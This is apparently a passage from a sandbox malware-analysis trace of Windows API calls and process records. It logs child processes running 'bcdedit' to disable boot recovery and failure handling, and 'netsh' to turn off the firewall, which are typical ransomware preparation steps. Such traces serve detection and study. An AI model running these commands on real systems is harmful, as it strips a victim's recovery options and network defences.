	[0229.752] WbemLocator:IUnknown:Release (This=0x1bf46e2c080) returned 0x1
	[0229.752] ?Empty@CHString@@QEAAXXZ () returned 0x7ff850d2674c
	[0229.752] WbemLocator:IUnknown:Release (This=0x1bf46e2c080) returned 0x0
	[0229.752] free (_Block=0x1bf46dadd30) 
	[0229.752] free (_Block=0x1bf46dada90) 
	[0229.752] free (_Block=0x1bf46daa8d0) 
	[0229.752] free (_Block=0x1bf46dadc50) 
	[0229.752] free (_Block=0x1bf46dad9f0) 
	[0229.752] free (_Block=0x1bf46daab90) 
	[0229.752] free (_Block=0x1bf46dab340) 
	[0229.752] free (_Block=0x1bf46dab0c0) 
	[0229.752] free (_Block=0x1bf46daaad0) 
	[0229.752] free (_Block=0x1bf46dae010) 
	[0229.752] free (_Block=0x1bf46dadbf0) 
	[0229.752] free (_Block=0x1bf46daa490) 
	[0229.752] free (_Block=0x1bf46dab0a0) 
	[0229.752] free (_Block=0x1bf46dab280) 
	[0229.752] free (_Block=0x1bf46daa850) 
	[0229.752] free (_Block=0x1bf46dab300) 
	[0229.752] free (_Block=0x1bf46dab320) 
	[0229.752] free (_Block=0x1bf46daa710) 
	[0229.752] free (_Block=0x1bf46dad890) 
	[0229.752] free (_Block=0x1bf46dad910) 
	[0229.752] free (_Block=0x1bf46daa4d0) 
	[0229.752] free (_Block=0x1bf46daddb0) 
	[0229.753] free (_Block=0x1bf46dadc70) 
	[0229.753] free (_Block=0x1bf46daab50) 
	[0229.753] free (_Block=0x1bf46dab160) 
	[0229.753] free (_Block=0x1bf46dab2c0) 
	[0229.753] free (_Block=0x1bf46daa650) 
	[0229.753] free (_Block=0x1bf46dab240) 
	[0229.753] free (_Block=0x1bf46dab260) 
	[0229.753] free (_Block=0x1bf46daa7d0) 
	[0229.753] free (_Block=0x1bf46dadcd0) 
	[0229.753] free (_Block=0x1bf46dada30) 
	[0229.753] free (_Block=0x1bf46daa890) 
	[0229.753] free (_Block=0x1bf46dadd70) 
	[0229.753] free (_Block=0x1bf46dadcb0) 
	[0229.753] free (_Block=0x1bf46daab10) 
	[0229.753] free (_Block=0x1bf46dab220) 
	[0229.753] free (_Block=0x1bf46dab060) 
	[0229.753] free (_Block=0x1bf46daa550) 
	[0229.753] free (_Block=0x1bf46dab380) 
	[0229.753] free (_Block=0x1bf46dab1c0) 
	[0229.753] free (_Block=0x1bf46daaa10) 
	[0229.753] free (_Block=0x1bf46dab120) 
	[0229.753] free (_Block=0x1bf46dab360) 
	[0229.753] free (_Block=0x1bf46daa590) 
	[0229.753] free (_Block=0x1bf46dab180) 
	[0229.753] free (_Block=0x1bf46dab0e0) 
	[0229.753] free (_Block=0x1bf46daa5d0) 
	[0229.753] free (_Block=0x1bf46dab1e0) 
	[0229.753] free (_Block=0x1bf46dab3c0) 
	[0229.753] free (_Block=0x1bf46daa810) 
	[0229.754] free (_Block=0x1bf46dab2e0) 
	[0229.754] free (_Block=0x1bf46dab3a0) 
	[0229.754] free (_Block=0x1bf46daa790) 
	[0229.754] free (_Block=0x1bf46dab080) 
	[0229.754] free (_Block=0x1bf46dab3e0) 
	[0229.754] free (_Block=0x1bf46daaa50) 
	[0229.754] free (_Block=0x1bf46dab200) 
	[0229.754] free (_Block=0x1bf46dab1a0) 
	[0229.754] free (_Block=0x1bf46daa450) 
	[0229.754] free (_Block=0x1bf46dab2a0) 
	[0229.754] free (_Block=0x1bf46dab140) 
	[0229.754] free (_Block=0x1bf46daaa90) 
	[0229.754] CoUninitialize () 
	[0230.037] exit (_Code=-2147217388) 
	[0230.070] free (_Block=0x1bf46daa690) 
	[0230.070] free (_Block=0x1bf46da6c40) 
	[0230.070] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0230.070] free (_Block=0x1bf46dab4b0) 
	[0230.070] free (_Block=0x1bf46da5bf0) 
	[0230.070] free (_Block=0x1bf46da6c00) 
	[0230.070] free (_Block=0x1bf46da1750) 
	[0230.070] free (_Block=0x1bf46da1700) 
	[0230.070] free (_Block=0x1bf46da16c0) 
	[0230.070] free (_Block=0x1bf46da1660) 
	[0230.070] free (_Block=0x1bf46da15e0) 
	[0230.070] free (_Block=0x1bf46da15a0) 
	[0230.070] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0230.070] free (_Block=0x1bf46dade10) 

Thread:
	id = 111
	os_tid = 0xdec


Thread:
	id = 121
	os_tid = 0xe24


Thread:
	id = 122
	os_tid = 0xe28


Thread:
	id = 123
	os_tid = 0xe2c


Process:
	id = "21"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0xc411000"
	os_pid = "0x3bc"
	os_integrity_level = "0x4000"
	os_privileges = "0x1e60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "20"
	os_parent_pid = "0xde0"
	cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a2a9" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 124
	os_tid = 0xe20


Thread:
	id = 125
	os_tid = 0xe1c


Thread:
	id = 126
	os_tid = 0xe18


Thread:
	id = 127
	os_tid = 0xdf0


Thread:
	id = 128
	os_tid = 0xd90


Thread:
	id = 129
	os_tid = 0xd6c


Thread:
	id = 130
	os_tid = 0xd68


Thread:
	id = 131
	os_tid = 0xd64


Thread:
	id = 132
	os_tid = 0xcc0


Thread:
	id = 133
	os_tid = 0xcbc


Thread:
	id = 134
	os_tid = 0xcb8


Thread:
	id = 135
	os_tid = 0xcac


Thread:
	id = 136
	os_tid = 0xc18


Thread:
	id = 137
	os_tid = 0xc14


Thread:
	id = 138
	os_tid = 0xc10


Thread:
	id = 139
	os_tid = 0xc08


Thread:
	id = 140
	os_tid = 0xb50


Thread:
	id = 141
	os_tid = 0xa20


Thread:
	id = 142
	os_tid = 0x9d4


Thread:
	id = 143
	os_tid = 0x994


Thread:
	id = 144
	os_tid = 0x8a4


Thread:
	id = 145
	os_tid = 0x58c


Thread:
	id = 146
	os_tid = 0x4e4


Thread:
	id = 147
	os_tid = 0x56c


Thread:
	id = 148
	os_tid = 0x734


Thread:
	id = 149
	os_tid = 0x5ac


Thread:
	id = 150
	os_tid = 0x6a4


Thread:
	id = 151
	os_tid = 0x6e4


Thread:
	id = 152
	os_tid = 0x6b0


Thread:
	id = 153
	os_tid = 0x5d8


Thread:
	id = 154
	os_tid = 0x5d4


Thread:
	id = 155
	os_tid = 0x594


Thread:
	id = 156
	os_tid = 0x5e8


Thread:
	id = 157
	os_tid = 0x5b0


Thread:
	id = 158
	os_tid = 0x474


Thread:
	id = 159
	os_tid = 0x508


Thread:
	id = 160
	os_tid = 0xf4


Thread:
	id = 161
	os_tid = 0x4dc


Thread:
	id = 162
	os_tid = 0x4c4


Thread:
	id = 163
	os_tid = 0x468


Thread:
	id = 164
	os_tid = 0x450


Thread:
	id = 165
	os_tid = 0x7bc


Thread:
	id = 166
	os_tid = 0x7b8


Thread:
	id = 167
	os_tid = 0x72c


Thread:
	id = 168
	os_tid = 0x6d0


Thread:
	id = 169
	os_tid = 0x6c4


Thread:
	id = 170
	os_tid = 0x65c


Thread:
	id = 171
	os_tid = 0x618


Thread:
	id = 172
	os_tid = 0x588


Thread:
	id = 173
	os_tid = 0x514


Thread:
	id = 174
	os_tid = 0x4f8


Thread:
	id = 175
	os_tid = 0x448


Thread:
	id = 176
	os_tid = 0x428


Thread:
	id = 177
	os_tid = 0x418


Thread:
	id = 178
	os_tid = 0x410


Thread:
	id = 179
	os_tid = 0x40c


Thread:
	id = 180
	os_tid = 0x404


Thread:
	id = 181
	os_tid = 0x358


Thread:
	id = 182
	os_tid = 0x8


Thread:
	id = 183
	os_tid = 0x39c


Thread:
	id = 184
	os_tid = 0x3a0


Thread:
	id = 185
	os_tid = 0x2fc


Thread:
	id = 186
	os_tid = 0x290


Thread:
	id = 187
	os_tid = 0x29c


Thread:
	id = 188
	os_tid = 0x2ac


Thread:
	id = 189
	os_tid = 0x2a4


Thread:
	id = 190
	os_tid = 0x3c0


Thread:
	id = 201
	os_tid = 0xe30


Thread:
	id = 202
	os_tid = 0xe34


Thread:
	id = 203
	os_tid = 0xe38


Thread:
	id = 204
	os_tid = 0xe3c


Thread:
	id = 205
	os_tid = 0xe40


Thread:
	id = 206
	os_tid = 0xe44


Thread:
	id = 209
	os_tid = 0xe54


Thread:
	id = 215
	os_tid = 0xe9c


Thread:
	id = 216
	os_tid = 0xea0


Thread:
	id = 217
	os_tid = 0xeac


Thread:
	id = 218
	os_tid = 0xeb0


Thread:
	id = 219
	os_tid = 0xeb4


Thread:
	id = 284
	os_tid = 0xf70


Process:
	id = "22"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x2c221000"
	os_pid = "0x8e0"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "21"
	os_parent_pid = "0x3bc"
	cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000392a9" [0xc000000f]


Thread:
	id = 191
	os_tid = 0xc0c


Thread:
	id = 192
	os_tid = 0x7b0


Thread:
	id = 193
	os_tid = 0x550


Thread:
	id = 194
	os_tid = 0x5c8


Thread:
	id = 195
	os_tid = 0x500


Thread:
	id = 196
	os_tid = 0x2f8


Thread:
	id = 197
	os_tid = 0x96c


Thread:
	id = 198
	os_tid = 0x964


Thread:
	id = 199
	os_tid = 0x960


Thread:
	id = 200
	os_tid = 0x95c


Process:
	id = "23"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x2ac54000"
	os_pid = "0xe48"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xd5c"
	cmd_line = "bcdedit  /set {default} bootstatuspolicy ignoreallfailures"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 207
	os_tid = 0xe4c


Thread:
	id = 208
	os_tid = 0xe50


Process:
	id = "24"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x2c085000"
	os_pid = "0xe58"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xd5c"
	cmd_line = "bcdedit  /set {default} recoveryenabled no"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 210
	os_tid = 0xe5c


Thread:
	id = 211
	os_tid = 0xe60


Process:
	id = "25"
	image_name = "netsh.exe"
	filename = "c:\\windows\\system32\\netsh.exe"
	page_root = "0x2d8cd000"
	os_pid = "0xed4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "15"
	os_parent_pid = "0xd70"
	cmd_line = "netsh  firewall set opmode mode=disable"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 220
	os_tid = 0xed8

	[0251.009] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b4590000
	[0251.009] __set_app_type (_Type=0x1) 
	[0251.009] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7b459a1c0) returned 0x0
	[0251.009] __wgetmainargs (in: _Argc=0x7ff7b45a7668, _Argv=0x7ff7b45a7670, _Env=0x7ff7b45a7678, _DoWildCard=0, _StartInfo=0x7ff7b45a7684 | out: _Argc=0x7ff7b45a7668, _Argv=0x7ff7b45a7670, _Env=0x7ff7b45a7678) returned 0
	[0251.009] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0251.009] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b4590000
	[0251.010] _vsnwprintf (in: _Buffer=0x7ff7b45a9b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x211777a48 | out: _Buffer="netsh>") returned 6
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee8d0
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deeb10
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee470
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee9d0
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deebd0
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee590
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deeb90
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee5f0
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee6f0
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deeab0
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee610
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee630
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee8f0
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee450
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee490
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee6b0
	[0251.010] GetProcessHeap () returned 0x1e025de0000
	[0251.010] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee7d0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee9b0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deebb0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee4b0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee6d0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee4d0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deead0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee570
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee810
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee890
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee950
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee5b0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deea50
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee510
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deeb70
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee530
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee670
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee990
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee4f0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee830
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee910
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee8b0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee850
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee550
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee7f0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee5d0
	[0251.011] GetProcessHeap () returned 0x1e025de0000
	[0251.011] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee870
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deea10
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deeb30
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deeb50
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee650
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deea70
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee790
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deea90
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee690
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee9f0
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee710
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee930
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deea30
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee750
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee970
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee730
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deeaf0
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee770
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025dee7b0
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defc10
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defbf0
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defd30
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defd10
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defe90
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def990
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deff10
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defdb0
	[0251.012] GetProcessHeap () returned 0x1e025de0000
	[0251.012] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defcf0
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defeb0
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defd70
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defe10
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deff70
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defdf0
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defbb0
	[0251.013] GetProcessHeap () returned 0x1e025de0000
